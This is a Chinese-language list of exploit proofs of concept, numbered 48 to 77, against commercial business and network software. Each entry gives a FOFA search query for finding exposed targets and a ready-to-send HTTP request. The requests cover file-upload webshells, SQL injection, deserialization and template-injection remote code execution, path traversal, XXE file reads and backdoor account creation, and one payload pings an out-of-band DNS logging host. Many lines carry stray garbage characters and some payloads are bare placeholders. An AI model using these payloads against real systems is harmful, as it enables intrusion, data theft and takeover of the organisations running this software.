User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# Q2 _4 Z6 M6 ^- F4 h7 }Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
1 G& L2 J) L; KIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
7 G& ?. H2 b' Y% ?( V  k0 K! q7 K+ R


9 `! m9 I. G# p/ O1 {( h48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
) q# L# V  O1 r$ o" Z& _) CPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
8 G; R8 u+ d2 ^8 \( c3 dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# _# X; H6 A1 x, kContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
; w2 g6 O) E" R; U! ?------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
7 T% Q$ P) B  Z9 r0 f- X1231
Content-Type: application/octet-stream
1 @7 Q  V& ?& o! E3 d1 G# h3 [------269520967239406871642430066855
' o  z: b+ U; i% R( F* I1 yContent-Disposition: form-data; name="upload"
/ e" r% _3 e8 Z2 Gupload
------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 T* `1 Z0 J: QFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ C$ n, k9 V2 \; s  FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, m7 |4 w' L4 i* @Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
. R6 f$ Y/ C6 @4 r+ k
4 J  i9 m3 f& S9 \) |/ w8 [4 b2 `-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
+ s4 u# X6 i1 q) ?/ J. ]Content-Type: application/octet-stream
; L* i! s& j* S' Q+ N9 F
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

) o. M1 x/ C1 H- p: D) Zupload
-----------------------------vvv3wdayqv3yppdxvn3w--


http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
! _. j# `" v4 n5 R+ l' m# DFOFA：body="close closebtnmodal"
4 D& T) l* y( oPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( G. c1 y8 V6 ~/ q/ ^* S6 m$ zConnection: close
Content-Length: 224
; T% U. X0 c( w, H: j. mAccept: */*
7 A" ~9 f( U9 eAccept-Language: en
Content-Type: application/x-www-form-urlencoded
  _1 o/ G1 E9 [5 k1 `. f0 KAccept-Encoding: gzip
4 u3 F* M" D$ g1 M( X# J
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


# x$ b$ I* u4 i& ?51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 ]# D  \6 B' X8 |' R, DAccept-Encoding: gzip, deflate
3 i% u. B+ [5 D9 X* SAccept-Language: zh-CN,zh;q=0.9
$ ~* W& d2 c9 ]; `; V# iConnection: close


. ?2 R8 o* @% s6 }7 A1 \52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 Z1 A2 V4 G% a. U9 ]1 zConnection: close
7 t# s  q) g4 N7 TContent-Length: 87
* U* w* S+ {; V* tAccept: */*
+ F% z/ R* i2 zAccept-Language: en
2 s" q0 k0 @5 l2 D' a2 L1 }/ N" \: ~, zContent-Type: application/x-www-form-urlencoded
% x! B$ ~/ ^! B1 k9 ^Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
( G% a5 h7 r; [8 C! L

- @" w7 b7 G* ]1 q# w53. 迪普 DPTech VPN Service 任意文件上传
$ q1 u; g. }5 [, N8 J0 [9 ]. N/ mFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
1 |9 R) }' v& F  ^( F0 x! n

' Y* q+ n4 m2 i6 j  l4 d54. 畅捷通T+ getstorewarehousebystore 远程代码执行
) [( K6 A1 L' n* L. o" C  kFOFA：app="畅捷通-TPlus"
1 D, E1 T# p7 p1 m5 c* F1 s' \" h第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
2 M1 e8 q' ~, g7 `
" b) I4 q( m" A5 |2 M$ ^
6 |% }" Z. m  X; f& K完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
/ ?5 J& t- E% T6 p  j5 x3 qHost: x.x.x.x
; B' L  j# s, j& h0 U3 XUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
" |2 C3 P* G) y+ m
{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
2 F  V' R" Q# g8 H8 H "MethodName":"Start",
1 X1 e' s! d6 J0 B  q. H  "ObjectInstance":{
+ s7 U, D% a* ^$ |8 o$ b   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
. `! g2 J& {, R& d5 [    "StartInfo":{
( S" b' T% U- k/ |   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
. M8 n4 X( j; U! A    }
3 M# H. i: z6 o  }
8 s2 w1 z  s+ c7 Z# t  }
}


) q9 E3 S! e' d. w; Y5 a) K  ^第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
9 I1 `1 y( T7 i4 c5 F5 d+ t! N
% U. {: k  V4 R8 i; j, }/ E
55. 畅捷通T+ getdecallusers信息泄露
2 z6 u7 d; U$ X1 c7 X( {! Z- e9 x9 I# O( ^FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
" D  }5 I; h; w- M$ A" `5 n+ w- D第二步，利用获取到的Cookie请求
7 e; W9 ?$ X) ~1 U/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

3 Z8 d4 L8 y+ T0 _56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
  }+ c9 V: R+ U; ~1 x  ?FOFA: app="畅捷通-TPlus"
+ ?& u1 G- ?7 S5 ?) M5 I' WPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
% }$ j/ N! ]# C3 [$ pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
' v% r: a" Q) b! C, Z: S
( K% `% Q; [; {/ X! v9 B5 p; r{
/ H3 w8 i  x( `* K  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
6 N* J6 s$ k: _. e+ P" ^0 E       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
- [8 W/ ^  Q* c5 ^8 B& s6 M           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
8 G1 a' N1 J. b) F# L: G2 R6 B       }
    }
. P+ N3 |$ e& @0 e  }
}
* h0 V8 v3 I; i% Z6 e
9 x# [9 G  _7 {- ^% ]0 r% U
+ V" y- m/ O1 W2 B* P57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
) d# L3 o$ o' ~; T6 ?$ mGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
# w4 W1 s6 w1 F6 `' r) b, rUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
/ O  a" {6 a( @. S% zAccept-Encoding: gzip, deflate
Connection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
5 I0 V* I8 j! N7 G' k+ vFOFA：app="畅捷通-TPlus"
$ p2 D" S/ K; i7 I! N" bGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
  i5 U$ M3 z$ ?" Z4 wConnection: close
4 x) r, P. {. H6 o' E) `) p+ V$ k

+ V4 Q6 S( y3 f/ E2 @3 E+ L4 A. d59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
" s' O* ~* k- _' t5 XFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
; y- ?- ]1 H& ?; M, [6 x* N1 ZPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
$ e$ X- [% B) \2 ?Content-Length: 1669
& j  }6 P/ h! ~! L$ sAccept: */*
; ^, l0 t. @. qAccept-Language: en
- l* W& Q% K5 {& i1 X4 a8 s" OContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

PAYLOAD
% G  e; m: F. V( A% n
6 `7 x1 y* }/ V, T' e# @( o2 Y- @
60. 百卓Smart管理平台 importexport.php SQL注入
% Q0 X, \3 K, `! y: ]7 v) jFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
, f! |7 v. i. A* ]Host:
, L5 x" R6 Z1 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# j4 m) z. a3 L- a3 fAccept-Encoding: gzip, deflate
. \0 c4 ]* F* @' kAccept-Language: zh-CN,zh;q=0.9
. ]9 C, I* R  B6 L4 TConnection: close

$ ~" O, K6 e0 x1 c7 }" j- ^
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
1 k. i$ ~* P, _1 g- P+ ~0 D1 ]Host: x.x.x.x
: ?% c; `7 Z; ?. y! @: K" WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 P$ \4 T6 d' M: }$ q- D  x7 YConnection: close
Content-Length: 27
2 _3 H4 I" E$ g  QAccept: */*
# L5 Z6 k5 O' U; U+ kAccept-Encoding: gzip, deflate
Accept-Language: en
. d8 T  P# P; V/ s" {0 h$ O: }Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa


. @; M7 r3 F+ }% `62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
& A) s6 l2 T8 ?/ ?GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
  Y3 e) F; U2 E& m3 q/ uUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
4 g' y, I( C/ i, o( cAccept: */*
* ~) e4 h' M- |! e5 h: v0 V: UAccept-Language: en
Accept-Encoding: gzip


访问
& o: U5 z3 e+ z# L' M  Q
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
, `( }, U. U* ~2 l$ {

9 z: z3 `" W# c2 f63. IP-guard WebServer任意文件读取
& E8 M1 {) Z- V3 x; D& i! g  IIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
/ m. Y3 \8 G- [4 u7 iPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
6 U9 ]4 O' ?8 i1 Y3 @/ Z: VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( U9 `1 T8 z" B7 ]$ _) }2 ?( Q3 RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ t% m, w6 W" k# N' a- XConnection: close
Content-Type: application/x-www-form-urlencoded

* n) W# b* O& Spath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
( g5 ]. [' @1 w) _" z$ v% z) O1 ~User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
  A3 k2 W0 ^5 E
+ u! H# `; _. n  p  j% A3 K4 Z<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
5 U& L: A/ K0 R. Q    <GetOSpById xmlns="http://tempuri.org/">
8 ~! \! \6 K. q      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
9 {6 s; {1 N3 V% I# n1 R! j& U7 X% h, ?' L</soap:Envelope>

" O* u( _' o8 V* J" R& E
% x0 {& L9 a7 \1 P: x3 S: P65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
/ K- g) _! n* W# Y) z9 i; pPOST /SystemMng.ashx HTTP/1.1
Host:
" j4 c+ G# j& B8 tUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
) L2 }. F! ^4 GConnection: close
Accept-Language: en
Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
# d3 c4 g$ n- Y  K: i8 e" M
/ i% x- ]9 D7 \
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
- x9 L- H8 @6 m- [1 ]FOFA：app="万户ezOFFICE协同管理平台"

' D8 O( o& t/ K4 ^# T$ ^9 ?GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
( K7 N  C! G, Y: d+ HConnection: close
" S; _- W8 z; W/ y0 XAccept: */*
5 D. A8 Q' Y: t5 hAccept-Language: en
1 ~$ X: c! y0 l9 b8 N7 CAccept-Encoding: gzip
. q  g6 n; ]! }: w) M8 Y/ s
6 ^2 W6 j( C# i& ?. _& c. c
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
+ `0 b# N# J6 GnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
, Q. r, A8 k0 Y/ d  A1 aPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
8 M. W- P% @) WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  l4 c% y6 d8 \1 J/ oAccept-Encoding: gzip, deflate
; t: h( P( P& @. C! R$ jAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
* d" q8 r. L$ S  m) ]+ `Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
$ K- N9 h) `) W% ^! `DNT: 1
$ Y7 F" Z/ t7 VUpgrade-Insecure-Requests: 1

& R3 h2 |% Y) o* G) N--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
( F# {5 W% s  T
+ D+ s) \# Y% v9 C# r  K<% out.print("sasdfghjkj");%>
; T  ?! p) K% p5 j7 ?5 s--ufuadpxathqvxfqnuyuqaozvseiueerp--

, y4 I' a; b9 [; m" J+ t
+ o: d) R- a0 ]' b  T文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

: ?, g/ I6 v+ Y; j2 n68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
( ?3 j1 }$ U4 aGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
$ Z0 p! j6 g2 UHost: {{host}}
2 o7 S) U  U* _2 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
: D" r. C9 K; |2 uAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
( `0 A; b1 |; J! ZAccept-Encoding: gzip, deflate
  J9 X" m; ]$ X8 m9 A. \+ A* Q! vAccept-Language: zh-CN,zh;q=0.9
Connection: close
0 y+ }6 Z4 U$ V5 @  m  ~/ ]6 J6 P
# A+ r# u! n+ \6 d/ v3 g
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
$ I6 e$ ^1 z2 T+ ]9 IGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
$ X- j! h/ `) r) ^) W9 gHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
# ^7 R8 k. g4 C0 B/ zAccept-Encoding: gzip, deflate
, s' P# z2 P: y* _7 }4 bAccept: */*
* E1 G" \$ C& n; \: |2 ~9 LConnection: keep-alive
. k& Q: n% P6 o

: t& Z, [: A+ ~0 N6 D0 x. K70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
) F9 g6 d+ J7 \4 mPOST /member/success.aspx HTTP/1.1
  A  v6 v$ J* {% t) K! V( MHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
9 R+ \8 W5 `% k6 K( oSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
; H+ C- U' ~/ @" x! [! eTYPE: C
+ D, C; Z% C( v6 NContent-Length: 16702

__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
6 R0 U) R$ [$ {. A4 h! e  `; eHost: x.x.x.xx.x.x.x
, }1 W& H( H- c6 |- ^User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
5 L  T  m7 `1 z4 s9 [* CConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. V% n! y0 R6 ]9 l9 i. t. E! b* H3 FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" E8 i3 E4 t8 b! ~! v  V( i' B: X2 |/ W) \Upgrade-Insecure-Requests: 1
9 `' ^5 K$ v/ A. x; A5 o1 ^% `8 B4 O

72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
* E; K7 A, B" z5 W$ x- Y+ ^- k, J+ iPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
' i( z; G3 [! Q' j; Z1 O& E2 |. l( kUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
0 B% h5 d# p2 F$ @Connection: close
Content-Length: 583
" |5 ?6 y3 I0 E5 U. C" P6 I" sContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
1 p# ]) d. _* o0 X& i  M: P% L, K
! r" l$ R8 f/ n0 B
: l. E7 m  L0 c5 l73. GeoServer wms远程代码执行
# n( I8 U2 V) \  w) q+ L# u6 HFOFA：icon_hash=”97540678”
. u6 n! j- R0 Y% [! ^2 j7 [$ X  FPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
: ]+ s% Y" t7 b. [Content-Length: 1981
# M  a5 k$ C  ]$ k( ~% IAccept-Encoding: gzip, deflate
# A: S+ O, }0 D6 nConnection: close
Content-Type: application/xml
( j( a! g3 e' uSL-CE-SUID: 3

& }; b* F% v* b- o9 c5 DPAYLOAD
, m4 F! R3 \  K" h% b

74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
5 |( i2 X. G0 X3 GFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
0 z' ]# E1 _% i5 Y, UAccept: */*
1 ]& b! y7 ~5 j- i; m& C2 R9 B% GAccept-Language: en
; S- G4 t0 {; n/ qAccept-Encoding: gzip


  F. C# ?# g0 v: hGET /cgi-bin/test28256.txt HTTP/1.1
0 `1 G$ X5 I' b3 A$ _/ ?Host: x.x.x.x
- o/ Q* O! j3 r- W
' d" c! w0 x5 J' J# {
/ p7 @% ^* Z0 C- G; Z76. 新开普掌上校园服务管理平台service.action远程命令执行
. d/ i3 H' E; S/ Y7 E( EFOFA：title="掌上校园服务管理平台"
9 U/ w" G# d8 b& S1 ~POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
2 u9 b+ z3 e0 Z8 P4 G7 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
; I- u% Z  Q! v3 ^9 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" f4 C9 S. Y0 VCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
( q. h- h3 |0 q/ T! yUpgrade-Insecure-Requests: 1

, b! T4 l) I: {6 s' [+ v{
6 }. X0 I. Q; t"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
7 o  q0 {% [2 X* E% q% l, H1 T  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


: l- k$ h' r; n. DGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x

2 m" K1 m; y/ x5 [  ?9 c5 Y

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
9 R& `5 z: {# cFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
0 G2 ]: R. p9 |# E* B* _& |Host: x.x.x.x
